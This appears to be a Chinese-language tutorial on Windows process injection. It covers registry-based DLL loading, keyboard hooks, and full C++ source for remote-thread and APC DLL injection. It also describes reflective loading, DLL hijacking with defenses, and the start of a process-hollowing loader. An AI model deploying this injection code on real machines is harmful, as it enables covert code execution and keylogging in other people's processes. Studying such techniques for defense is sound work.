Windows进程注入技术

注册表

AppInit_DLLs

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

注册表之AppInit_DLLs

当User32.dll被映射到一个新的进程时,会收到DLL_PROCESS_ATTACH通知,当User32.dll对它进行处理的时候,会取得上述注册表键的值,并调用LoadLibary来载入这个字符串中指定的每个DLL.

AppInit_Dlls:该键的值可能会包含一个DLL的文件名或一组DLL的文件名(通过空格或逗号分隔)(由于空格是用来分隔文件名的,所以我们必须避免在文件名中包含空格).第一个DLL的文件名可以包含路径,但其他DLL包含的路径则会被忽略,出于这个原因,我们最好是将自己的DLL放到windows的系统目录中,这样就不必指定路径了.

User32.dll是一个非常常见的库,用于存储对话框等图形元素.因此,当恶意软件修改此子键时,大多数进程将加载恶意库.

注意

在win7之后,windows对dll加载的安全性增加了控制.

  • LoadAppInit_DLLs为1开启,为0关闭.
  • RequireSignedAppInit_DLLs值为1表明模块需要签名才能加载.

AppCertDlls

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls

注册表之AppCertDlls

此注册表项下的DLL被加载到调用Win32 API函数CreateProcess,CreateProcessAsUser,CreateProcessWithLogonW,CreateProcessWithTokenW和WinExec的每个进程中.

映像文件执行选项(IFEO)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

注册表之IFEO

IFEO通常用于调试目的.开发人员可以在此注册表项下设置"调试器值",以将程序附加到另一个可执行文件以进行调试.

如上图中新建了一个LuoDst.exe项,又添加了Debugger项.这样的话,当我们运行LuoDst.exe实际上运行的是Debugger项中的程序.

SetWindowsHookEx

钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统.每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权.

注意
钩子无法更改具体消息携带的数据,只能做监视使用

局部钩子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
HHOOK g_hHook;
LRESULT CALLBACK MyKeyboardProc(int code,// hook code
	WPARAM wParam,  // virtual-key code
	LPARAM lParam   // keystroke-message information
)
{
	//MSDN说明,如果code < 0,必须返回,CallNextHookEx的返回值
	if (code < 0)
	{
		return CallNextHookEx(g_hHook, code, wParam, lParam);
	}
	CString csFmt;
	csFmt.Format("Hook:%c ", wParam);
	OutputDebugString(csFmt);

	//把消息传递给下一个钩子
	return CallNextHookEx(g_hHook, code, wParam, lParam);
}
1
2
3
4
5
6
7
//设置局部钩子
g_hHook = ::SetWindowsHookEx(
		WH_KEYBOARD, //键盘钩子
		MyKeyboardProc, //钩子回调函数
		NULL, //局部钩子,填NULL;全局钩子,填DLL的模块句柄
		GetCurrentThreadId() //钩本线程的窗口;填NULL则勾所有窗口线程
	);

全局钩子

钩子回调函数必须写在Dll中.

DLL:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
extern "C" __declspec(dllimport) LRESULT MyMessageProcess(int Code, WPARAM wParam, LPARAM lParam);

extern "C" __declspec(dllexport) LRESULT MyMessageProcess(int Code, WPARAM wParam, LPARAM lParam)
{
    ::MessageBox(NULL, "Inject Success", "LuoDll", MB_OK);
    return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
       
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

设置钩子:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
void CLuoDstDlg::OnBnClickedInject()
{
	//获取被注入进程名
	char szInjectProcess[MAX_PATH] = {};
	GetDlgItemText(EDT_INJECTNAME, szInjectProcess, MAX_PATH);

	DWORD dwProcessId = GetPIdByProcessName(szInjectProcess);

	//获取注入的DLL
	char szDllName[MAX_PATH] = { 0 };
	GetDlgItemText(EDT_INJECTDLL, szDllName, MAX_PATH);
	BOOL bRet = InjectDllBySetWindowsHook((ULONG32)dwProcessId, szDllName);
	if (bRet)
	{
		MessageBox("注入成功");
	}
}

void CLuoDstDlg::OnBnClickedExit()
{
	if (m_hHook) {
		UnhookWindowsHookEx(m_hHook);
		m_hHook = NULL;
	}
		
	if (m_hmDll) {
		FreeLibrary(m_hmDll);
		m_hmDll = NULL;
	}
}

BOOL CLuoDstDlg::InjectDllBySetWindowsHook(ULONG32 ulTargetProcessID, char* pszDllName)
{
	m_hmDll = LoadLibrary(pszDllName);
	if (NULL == m_hmDll)
	{
		MessageBox("LoadLibraryError!");
		return FALSE;
	}

	HOOKPROC sub_address = NULL;
	sub_address = (HOOKPROC)GetProcAddress(m_hmDll, "MyMessageProcess");
	if (NULL == sub_address)
	{
		MessageBox("GetProcAddressError!");
		return FALSE;
	}

	DWORD dwThreadID = GetThreadID(ulTargetProcessID);

	/*
		参数1:要安装的挂钩类型
		参数2:指定系统调用的窗口消息处理函数
		参数3:标示一个包含窗口处理消息函数(参数2)的DLL
		参数4:安装挂钩的线程ID
	*/
	m_hHook = SetWindowsHookEx(WH_KEYBOARD,
		sub_address,
		m_hmDll,
		dwThreadID);
    
   	if (m_hHook != NULL) {
		return TRUE;
	}
	else
	{
		return FALSE;
	}
}

DWORD CLuoDstDlg::GetThreadID(ULONG32 ulTargetProcessID)
{
	HANDLE Handle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	if (Handle != INVALID_HANDLE_VALUE)
	{
		THREADENTRY32 te;
		te.dwSize = sizeof(te);
		if (Thread32First(Handle, &te))
		{
			do
			{
				if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
				{
					if (te.th32OwnerProcessID == ulTargetProcessID)
					{
						HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID);
						if (!hThread)
						{
							//MessageBox("Couldn't get thread handle!");
						}
						else
						{
							return te.th32ThreadID;
						}
					}
				}
			} while (Thread32Next(Handle, &te));
		}
	}
	CloseHandle(Handle);
	return (DWORD)0;
}

DWORD CLuoDstDlg::GetPIdByProcessName(const char* pszProcessName)
{
	DWORD id = 0;
	//获得系统快照句柄 (得到当前的所有进程)   
	HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 pInfo; //用于保存进程信息的一个数据结构   
	pInfo.dwSize = sizeof(pInfo);
	//从快照中获取进程列表   
	Process32First(hSnapShot, &pInfo); //从第一个进程开始循环   
	do
	{
		//这里的 pszProcessName 为你的进程名称   
		//strcmp(_strlwr(_strdup(pInfo.szExeFile)), pszProcessName) == 0
		if (strcmp(pInfo.szExeFile, pszProcessName) == 0)
		{
			id = pInfo.th32ProcessID;
			break;
		}
	} while (Process32Next(hSnapShot, &pInfo) != FALSE);
	return id;
}

远程线程注入

原理:

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
1
typedef DWORD (__stdcall *LPTHREAD_START_ROUTINE) ( [in] LPVOID lpThreadParameter);
1
2
3
HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);

远程线程注入主要是利用了CreateRemoteThread这个API,这API的第四个参数,线程函数的起始地址与LoadLibrary的函数定义相同,又因为LoadLibrary在Kernel32.dll中,kernel32,ntdll,同一台机器,不同进程,加载这两个Dll的位置固定,故可直接填本进程的LoadLibrary地址,从而可以利用CreateRemoteThread这个API在远程进程中加载一个Dll.

相关源码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273

#include <stdio.h>
#include <stdlib.h>

#include <io.h>
#include <tchar.h>
#include <windows.h>
#include <Tlhelp32.h>
#include <Shlwapi.h>
#pragma comment(lib,"Shlwapi.lib")

/************************************************************************
函数名称:RemoteInjectDll
函数功能:向目标进程中注入一个指定 Dll
参    数:pDllPath dll的存放路径
返 回 值:成功返回PID/失败返回NULL
************************************************************************/
DWORD GetProcessIDFromName(const TCHAR* pProcName)
{
	HANDLE hSnapshot = NULL;
	BOOL bStatus = FALSE;
	DWORD dwProcessId = 0;
	PROCESSENTRY32 pi = { 0 };
	pi.dwSize = sizeof(pi);

	hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == NULL)
	{
		return NULL;
	}

	bStatus = ::Process32First(hSnapshot, &pi);
	while (bStatus)
	{
		if (memcmp(pProcName, pi.szExeFile, ::_tcslen(pProcName)) == 0)
		{
			dwProcessId = pi.th32ProcessID;
			break;
		}
		bStatus = ::Process32Next(hSnapshot, &pi);
	}

	if (hSnapshot != NULL)
	{
		::CloseHandle(hSnapshot);
	}
	return dwProcessId;
}

/************************************************************************
函数名称:RemoteInjectDll
函数功能:向目标进程中注入一个指定 Dll
参   数1:pProcName 进程名
参   数2:pDllPath dll的存放路径
返 回 值:注入成功返回TRUE/注入失败返回FALSE
************************************************************************/
BOOL RemoteInjectDll(const TCHAR* pProcName, const TCHAR* pDllPath)
{
	HANDLE hProcess = NULL, hThread = NULL;
	DWORD dwSize = 0, dwProcessId = 0;
	BOOL bRet = FALSE;
	TCHAR* pRemoteBuf = NULL;
	LPTHREAD_START_ROUTINE lpThreadFun = NULL;


	// 参数无效  
	if (pProcName == NULL || ::_tcslen(pProcName) == 0
		|| pDllPath == NULL || ::_tcslen(pDllPath) == 0)
	{
		return FALSE;
	}

	// 指定 Dll 文件不存在  
	if (_taccess(pDllPath, 0) == -1)
	{
		return false;
	}

	do
	{
		//获取进程ID
		dwProcessId = GetProcessIDFromName(pProcName);
		if (dwProcessId == 0)
		{
			break;
		}

		// 获取目标进程句柄  
		hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
		if (hProcess == NULL)
		{
			break;
		}

		// 在目标进程中分配内存空间  
		dwSize = (DWORD)::_tcslen(pDllPath) + 1;
		pRemoteBuf = (TCHAR*)::VirtualAllocEx(hProcess, NULL, dwSize * sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE);
		if (pRemoteBuf == NULL)
		{
			break;
		}

		// 在目标进程的内存空间中写入所需参数(模块名)  
		if (FALSE == ::WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)pDllPath, dwSize * sizeof(TCHAR), NULL))
		{
			break;
		}

		// 获取 LoadLibrary 地址  
#ifdef _UNICODE  
		lpThreadFun = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryW");
#else  
		lpThreadFun = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
#endif  
		if (lpThreadFun == NULL)
		{
			break;
		}

		// 创建远程线程调用 LoadLibrary  
		hThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpThreadFun, pRemoteBuf, 0, NULL);
		if (hThread == NULL)
		{
			break;
		}
		// 等待远程线程结束  
		::WaitForSingleObject(hThread, INFINITE);
		bRet = TRUE;

	} while (0);


	if (hThread != NULL)
	{
		::CloseHandle(hThread);
	}
	if (pRemoteBuf != NULL)
	{
		::VirtualFreeEx(hProcess, pRemoteBuf, dwSize, MEM_DECOMMIT);
	}
	if (hProcess != NULL)
	{
		::CloseHandle(hProcess);
	}
	return bRet;
}


/************************************************************************
函数名称:UnRemoteInjectDll
函数功能:从目标进程中卸载一个指定 Dll
参   数1:pProcName 进程名
参   数2:pDllPath dll的存放路径
返 回 值:卸载成功返回TRUE/卸载失败返回FALSE
备    注:采用远程线程注入技术实现
************************************************************************/
BOOL UnRemoteInjectDll(const TCHAR* pProcName, const TCHAR* pDllPath)
{
	HANDLE hModuleSnap = INVALID_HANDLE_VALUE, hProcess = NULL, hThread = NULL;
	TCHAR* pModuleName = PathFindFileName(pDllPath);
	BOOL bRet = FALSE, bFound = FALSE;
	DWORD dwProcessId = 0;
	MODULEENTRY32 me32 = { 0 };;
	me32.dwSize = sizeof(me32);

	// 参数无效
	if (pProcName == NULL || ::_tcslen(pProcName) == 0
		|| pDllPath == NULL || ::_tcslen(pDllPath) == 0)
	{
		return FALSE;
	}

	do
	{
		//获取进程ID
		dwProcessId = GetProcessIDFromName(pProcName);
		if (dwProcessId == 0)
		{
			break;
		}

		// 获取模块快照  
		hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
		if (hModuleSnap == INVALID_HANDLE_VALUE)
		{
			break;
		}

		if (::Module32First(hModuleSnap, &me32) == FALSE)
		{
			break;
		}

		do
		{
			bFound = (::_tcsicmp(me32.szModule, pModuleName) == 0
				|| ::_tcsicmp(me32.szExePath, pDllPath) == 0);
			// 找到指定模块 
			if (bFound)
			{
				break;
			}
		} while (::Module32Next(hModuleSnap, &me32) == TRUE);

		if (false == bFound)
		{
			break;
		}

		// 获取目标进程句柄  
		hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
		if (hProcess == NULL)
		{
			break;
		}

		// 获取 FreeLibrary 地址  
		LPTHREAD_START_ROUTINE lpThreadFun = (PTHREAD_START_ROUTINE)::GetProcAddress(
			::GetModuleHandle(_T("Kernel32")), "FreeLibrary");
		if (lpThreadFun == NULL)
		{
			break;
		}

		// 创建远程线程调用 FreeLibrary  
		hThread = ::CreateRemoteThread(hProcess, NULL, 0, lpThreadFun,
			me32.modBaseAddr, 0, NULL);
		if (hThread == NULL)
		{
			break;
		}
		// 等待远程线程结束  
		::WaitForSingleObject(hThread, INFINITE);
		bRet = TRUE;
	} while (0);

	if (hThread != NULL)
	{
		::CloseHandle(hThread);
	}
	if (hProcess != NULL)
	{
		::CloseHandle(hProcess);
	}
	if (hModuleSnap != INVALID_HANDLE_VALUE)
	{
		::CloseHandle(hModuleSnap);
	}
	return bRet;
}

int main()
{
	TCHAR szDllPath[MAX_PATH] = { 0 };
	GetCurrentDirectory(MAX_PATH, szDllPath);
	_tcscat(szDllPath, TEXT("\\LuoDll.dll"));
	
	if (RemoteInjectDll(TEXT("LuoDst.exe"), szDllPath) == FALSE)
	{
		MessageBox(NULL, TEXT("RemoteInjectDll Error"), NULL, NULL);
		return 0;
	}

	if (UnRemoteInjectDll(TEXT("LuoDst.exe"), szDllPath) == FALSE)
	{
		MessageBox(NULL, TEXT("UnRemoteInjectDll Error"), NULL, NULL);
		return 0;
	}
	return 0;

	system("pause");
	return 0;
}

反射Dll注入

Dll编写:

  1. 导出一个函数,如ReflectiveLoader.
  2. 借助caller()函数(获得当前指令的下条指令的地址),找到当前映射到内存的地址,然后逐字节向上遍历,当查找到符合PE格式的文件头之后,就可以认为找到了DLL文件在内存中的地址了.
  3. 新申请一片内存,用于存放当前Dll文件.
  4. 修复上述内存中Dll,导入表,重定位表等.
  5. 调用Dll入口函数.

注入工具编写:

  1. 用CreateFile,ReadFile读取上述DLL到缓冲区中.
  2. 解析上述缓冲区中的PE格式,通过导出表拿上述导出函数偏移地址,ReflectiveLoader.
  3. 利用OpenProcess,VirtualAllocEx,WriteProcessMemory将上述Dll写入到远程进程中.
  4. 利用CreateRemoteThread,传上述Dll基址+导出函数ReflectiveLoader的偏移地址,执行Dll中的导出函数.

Dll劫持

原理:

如果在进程尝试加载一个DLL时,并没有指定DLL的绝对路径,那么Windows会尝试按照顺序搜索这些特定目录来查找这个DLL,如果攻击者能够将恶意的DLL放在优先于正常DLL所在的目录,那么就能够欺骗系统去加载恶意的DLL,形成"劫持".

Dynamic-link library search order

默认情况下启用安全DLL搜索模式.要禁用此功能,可以创建HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode注册表值并将其设置为0.

如果启用SafeDllSearchMode,搜索顺序如下:

  1. 应用程序exe所在的路径.

  2. 系统目录,使用GetSystemDirectory函数可以获取该路径.

  3. 16位系统目录.

  4. Windows目录,使用GetWindowsDirectory函数可以获取该路径.

  5. 用户的当前目录.

  6. PATH环境变量中列出的目录.

如果禁用SafeDllSearchMode,搜索顺序如下:

  1. 应用程序exe所在的路径.
  2. 用户的当前目录.当前目录的搜索顺序被提前了,较容易遭到DLL劫持攻击.
  3. 系统目录.
  4. 16位系统目录.
  5. Windwos目录.
  6. PATH环境变量中列出的目录.

方式:

  1. 在自己的dll中导出和劫持的目标dll相同的函数接口,然后在自己的接口函数中调用原始dll的函数,如此使得原始dll的功能能够被正常使用.
  2. 在自己的dll的dllmian中加载被劫持dll,然后修改loadlibrary的返回值为被劫持dll加载后的模块句柄.

防护方法:

  1. 添加KnownDLL.

注册表之KnownDLL

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 该项下的子键代表了dll的名字,如果这里存在user32.dll,则系统不会加载当前目录下的user.dll,而是会去系统盘加载.

  1. 对于系统DLL,不通过修改本机KnownDLLs进行单机防护,而是通过修改文件manifest属性进行定向加载DLL来解决通用系统DLL劫持问题.
  2. 对于非系统第三方DLL,上面的方法就不太适用了,可以使用动态加载方式,不要使用静态导入方式加载,通过动态加载对文件进行校验,如数字签名校验通过后再进行加载,来保证程序的安全性.

APC注入

原理:

利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入.

APC示例:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <tchar.h>

DWORD GetPidByPname(char* pszProcessName)
{
	DWORD id = 0;
	//获得系统快照句柄 (得到当前的所有进程)   
	HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 pInfo; //用于保存进程信息的一个数据结构   
	pInfo.dwSize = sizeof(pInfo);
	//从快照中获取进程列表   
	Process32First(hSnapShot, &pInfo); //从第一个进程开始循环   
	do
	{
		//这里的 pszProcessName 为你的进程名称   
		//strcmp(_strlwr(_strdup(pInfo.szExeFile)), pszProcessName) == 0
		if (strcmp(pInfo.szExeFile, pszProcessName) == 0)
		{
			id = pInfo.th32ProcessID;
			break;
		}
	} while (Process32Next(hSnapShot, &pInfo) != FALSE);
	return id;
}


BOOL GetAllTidByPid(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	DWORD dwBuffLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapShot = NULL;
	BOOL bRet = TRUE;

	do
	{
		//申请内存
		pThreadId = new DWORD[dwBuffLength];
		if (pThreadId == NULL)
		{
			bRet = FALSE;
			break;
		}
		else
		{
		}
		RtlZeroMemory(pThreadId, (dwBuffLength * sizeof(DWORD)));

		//获取线程快照
		RtlZeroMemory(&te32, sizeof(te32));
		te32.dwSize = sizeof(te32);
		hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
		if (hSnapShot == NULL)
		{
			bRet = FALSE;
			break;
		}
		else
		{
		}

		//获取第一条快照的信息
		bRet = Thread32First(hSnapShot, &te32);
		while (bRet)
		{
			//获取进程对应的线程ID
			if (te32.th32OwnerProcessID == dwProcessId)
			{
				pThreadId[dwThreadIdLength] = te32.th32ThreadID;
				dwThreadIdLength++;
			}
			//遍历下一个线程快照信息
			bRet = Thread32Next(hSnapShot, &te32);
		}
		//返回
		*ppThreadId = pThreadId;
		*pdwThreadIdLength = dwThreadIdLength;
		bRet = TRUE;

	} while (FALSE);

	if (FALSE == bRet)
	{
		if (pThreadId)
		{
			delete[] pThreadId;
			pThreadId = NULL;
		}
	}
	return bRet;
}

BOOL APCInject(char* pszProcessName, char* pszDllName)
{
	BOOL bRet = FALSE;
	DWORD dwProcessId = 0;
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	HANDLE hProcess = NULL;
	HANDLE hThread = NULL;
	PVOID pBaseAddress = NULL;
	PVOID pLoadLibraryAFunc = NULL;
	SIZE_T dwRet = 0;
	DWORD dwDllPathLen = strlen(pszDllName) + 1;
	DWORD i = 0;

	do
	{
		//根据进程名称获取PID
		dwProcessId = GetPidByPname(pszProcessName);
		if (0 >= dwProcessId)
		{
			bRet = FALSE;
			break;
		}
		else
		{
		}
		//根据PID
		bRet = GetAllTidByPid(dwProcessId, &pThreadId, &dwThreadIdLength);
		if (bRet == FALSE)
		{
			
			bRet = FALSE;
			break;
		}
		else
		{
		}

		//打开注入进程
		hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
		if (hProcess == NULL)
		{
		
			bRet = FALSE;
			break;
		}
		else
		{
		}
		//在注入的进程空间申请内存
		pBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (pBaseAddress == NULL)
		{
			
			bRet = FALSE;
			break;
		}
		else
		{
		}
		//向申请的空间中写入DLL路径数据
		WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
		if (dwRet != dwDllPathLen)
		{
			
			bRet = FALSE;
			break;
		}
		else
		{
		}

		//获取LoadLibrary的地址
		pLoadLibraryAFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
		if (pLoadLibraryAFunc == NULL)
		{
			
			bRet = FALSE;
			break;
		}
		else
		{
		}

		//遍历线程 插入APC
		for (i = 0; i < dwThreadIdLength; i++)
		{
			//打开线程
			hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
			if (hThread)
			{
				//插入APC
				QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
				//关闭线程句柄
				CloseHandle(hThread);
				hThread = NULL;
			}
		}
		bRet = TRUE;
	} while (FALSE);

	//释放内存
	if (hProcess)
	{
		CloseHandle(hProcess);
		hProcess = NULL;
	}
	if (hThread)
	{
		delete[] pThreadId;
		pThreadId = NULL;
	}
	return bRet;
}

int main() {

	TCHAR szDllPath[MAX_PATH] = { 0 };
	GetCurrentDirectory(MAX_PATH, szDllPath);
	_tcscat(szDllPath, TEXT("\\LuoDll.dll"));

	APCInject("Clover.exe", szDllPath);

	system("pause");
	return 0;
}

IAT Hook

IAT Hook是恶意软件用于更改导入地址表的技术.当合法应用程序调用位于DLL中的API时,其会执行替换的函数,而不是原始函数.

IAT_patcher实现示例

傀儡进程

原理:

借助正常的软件进程或系统进程的外壳来执行非正常的恶意操作.

  1. 挂起创建一个正常程序,如svchost.exe.
  2. 利用VirtualAllocEx,WriteProcessMemory将自己的PeLoader,自己的程序写入上述挂起的进程中.
  3. 修改上述挂起程序的OEP处为下方指令.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#x86
Push1 BufferAddress #将自己的程序Buffer入栈
Call CallAddress    #调用x86_PeLoader

#x64
sub rsp, -0x28
mov rcx, BufferAddress #将自己的程序Buffer传给rcx
mov rax, CallAddress
call rax               #调用x64_PeLoader
add rsp, 0x28
jmp rax
  1. 恢复上述挂起的进程.

相关源码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
#include <stdio.h>
#include <stdlib.h>
#include <strsafe.h>
#include <Windows.h>

#include "define_ntdll.h"
#include "ShellCode/ShellCode.h"
#include "ShellCode/ShellCode64.h"
#include "LuoFile.h"

typedef void* (_cdecl* _pfnmemcpy)(void*, void*, size_t);
typedef void* (_cdecl* _pfnmemset)(void*, int, size_t);

typedef BOOL(WINAPI* PFNCreateProcess)(LPSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
typedef BOOL(WINAPI* PFNReadProcessMemory)(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
typedef BOOL(WINAPI* PFNWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
typedef DWORD(WINAPI* PFNResumeThread)(HANDLE hThread);
typedef NTSTATUS(WINAPI* PFNZwQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
typedef LPVOID(WINAPI* PFNVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef LPVOID(WINAPI* PFNVirtualProtectEx)(__in HANDLE hProcess, __in LPVOID lpAddress, __in SIZE_T dwSize, __in DWORD flNewProtect, __out PDWORD lpflOldProtect);

typedef BOOL(WINAPI* PFNWinStationTerminateProcess)(HANDLE ServerHandle, ULONG ProcessId, ULONG ExitCode);

static _pfnmemcpy pfnmemcpy = NULL;
static _pfnmemset pfnmemset = NULL;
static PFNZwQueryInformationProcess pfnZwQueryInformationProcess = NULL;
static PFNVirtualAllocEx			pfnVirtualAllocEx = NULL;
